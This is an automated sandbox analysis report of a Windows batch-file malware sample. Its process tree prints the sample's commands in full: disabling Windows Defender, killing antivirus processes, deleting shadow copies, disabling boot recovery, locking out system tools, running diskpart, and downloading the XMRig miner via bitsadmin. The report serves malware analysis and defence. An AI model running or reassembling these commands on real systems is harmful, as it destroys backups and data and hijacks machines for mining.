Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    12/08/2026, 02:11

General

  • Target
    Temp.bat
  • Size 11KB
  • Sample260812-cmlvysttex
  • SHA256 a6e4a10576fae9a7ecf407d6dca015355c134ca5c61b25e8aa583cff6817d864
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 5 IoCs
  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Disables service(s) 3 TTPs
  • Stops running service(s) 4 TTPs
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 5 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Checks SCSI registry key(s) 3 TTPs 21 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 8 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Temp.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3676
    • C:\Windows\system32\mode.com
      mode con cols=80 lines=25
      2⤵
        PID:4432
      • C:\Windows\system32\net.exe
        net session
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1156
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          3⤵
            PID:3796
        • C:\Windows\system32\PING.EXE
          ping 127.0.0.1 -n 2
          2⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:3800
        • C:\Windows\system32\PING.EXE
          ping 127.0.0.1 -n 2
          2⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:4568
        • C:\Windows\system32\timeout.exe
          timeout /t 2 /nobreak
          2⤵
          • Delays execution with timeout.exe
          PID:4676
        • C:\Windows\system32\reg.exe
          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
          2⤵
          • Modifies Windows Defender DisableAntiSpyware settings
          PID:3076
        • C:\Windows\system32\reg.exe
          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
          2⤵
          • Modifies Windows Defender Real-time Protection settings
          PID:3408
        • C:\Windows\system32\reg.exe
          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
          2⤵
          • Modifies Windows Defender TamperProtection settings
          PID:4300
        • C:\Windows\system32\sc.exe
          sc stop WinDefend
          2⤵
          • Launches sc.exe
          PID:1660
        • C:\Windows\system32\sc.exe
          sc config WinDefend start= disabled
          2⤵
          • Launches sc.exe
          PID:3780
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im MBAMService.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4384
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im Norton.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1528
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im mcafee.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1208
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im avast.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3248
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im avg.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4336
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im avp.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2732
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im bdagent.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1440
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im ekrn.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2116
        • C:\Windows\system32\ReAgentc.exe
          reagentc /disable
          2⤵
          • Drops file in System32 directory
          • Drops file in Windows directory
          PID:1604
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          2⤵
          • Interacts with shadow copies
          PID:4552
        • C:\Windows\system32\reg.exe
          reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
          2⤵
            PID:3436
          • C:\Windows\system32\bcdedit.exe
            bcdedit /set {default} recoveryenabled No
            2⤵
            • Modifies boot configuration data using bcdedit
            PID:896
          • C:\Windows\system32\bcdedit.exe
            bcdedit /set {default} bootstatuspolicy ignoreallfailures
            2⤵
            • Modifies boot configuration data using bcdedit
            PID:1272
          • C:\Windows\system32\bcdedit.exe
            bcdedit /set {default} bootmenupolicy legacy
            2⤵
            • Modifies boot configuration data using bcdedit
            PID:928
          • C:\Windows\system32\bcdedit.exe
            bcdedit /set {default} displaybootmenu No
            2⤵
            • Modifies boot configuration data using bcdedit
            PID:3012
          • C:\Windows\system32\bcdedit.exe
            bcdedit /set {default} timeout 0
            2⤵
            • Modifies boot configuration data using bcdedit
            PID:1732
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v AllowFirmwareUI /t REG_DWORD /d 0 /f
            2⤵
              PID:1064
            • C:\Windows\system32\reg.exe
              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableAdvancedStartup /t REG_DWORD /d 1 /f
              2⤵
                PID:2184
              • C:\Windows\system32\reg.exe
                reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR" /v Start /t REG_DWORD /d 4 /f
                2⤵
                  PID:4700
                • C:\Windows\system32\reg.exe
                  reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBHUB3" /v Start /t REG_DWORD /d 4 /f
                  2⤵
                    PID:3304
                  • C:\Windows\system32\reg.exe
                    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
                    2⤵
                      PID:1552
                    • C:\Windows\system32\reg.exe
                      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
                      2⤵
                      • Disables RegEdit via registry modification
                      PID:1800
                    • C:\Windows\system32\reg.exe
                      reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 1 /f
                      2⤵
                        PID:2520
                      • C:\Windows\system32\reg.exe
                        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
                        2⤵
                          PID:3448
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
                          2⤵
                            PID:3524
                          • C:\Windows\system32\sc.exe
                            sc config wuauserv start= disabled
                            2⤵
                            • Launches sc.exe
                            PID:4960
                          • C:\Windows\system32\net.exe
                            net stop wuauserv
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3932
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 stop wuauserv
                              3⤵
                                PID:3976
                            • C:\Windows\system32\diskpart.exe
                              diskpart /s C:\Users\Admin\AppData\Local\Temp\del.txt
                              2⤵
                                PID:3908
                              • C:\Windows\system32\bitsadmin.exe
                                bitsadmin /transfer "update" https://github.com/xmrig/xmrig/releases/download/v6.22.0/xmrig-6.22.0-msvc-win64.zip C:\Users\Admin\AppData\Local\Temp\update.zip
                                2⤵
                                • Download via BitsAdmin
                                PID:1436
                            • C:\Windows\system32\vssvc.exe
                              C:\Windows\system32\vssvc.exe
                              1⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4900
                            • C:\Windows\System32\vdsldr.exe
                              C:\Windows\System32\vdsldr.exe -Embedding
                              1⤵
                                PID:3164
                              • C:\Windows\System32\vds.exe
                                C:\Windows\System32\vds.exe
                                1⤵
                                • Writes to the Master Boot Record (MBR)
                                • Drops file in Windows directory
                                • Checks SCSI registry key(s)
                                PID:2996

                              Network

                                    MITRE ATT&CK Enterprise v16

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                                    Downloads

                                    del.txt

                                    • Path C:\Users\Admin\AppData\Local\Temp\del.txt
                                    • Size 334B
                                    • SHA256 087a3535adf3236bb1bffffb5e45330a6ba70b7222c8daf4df5e4928665e954c
                                    • MD5 SHA1 SHA512 TLSH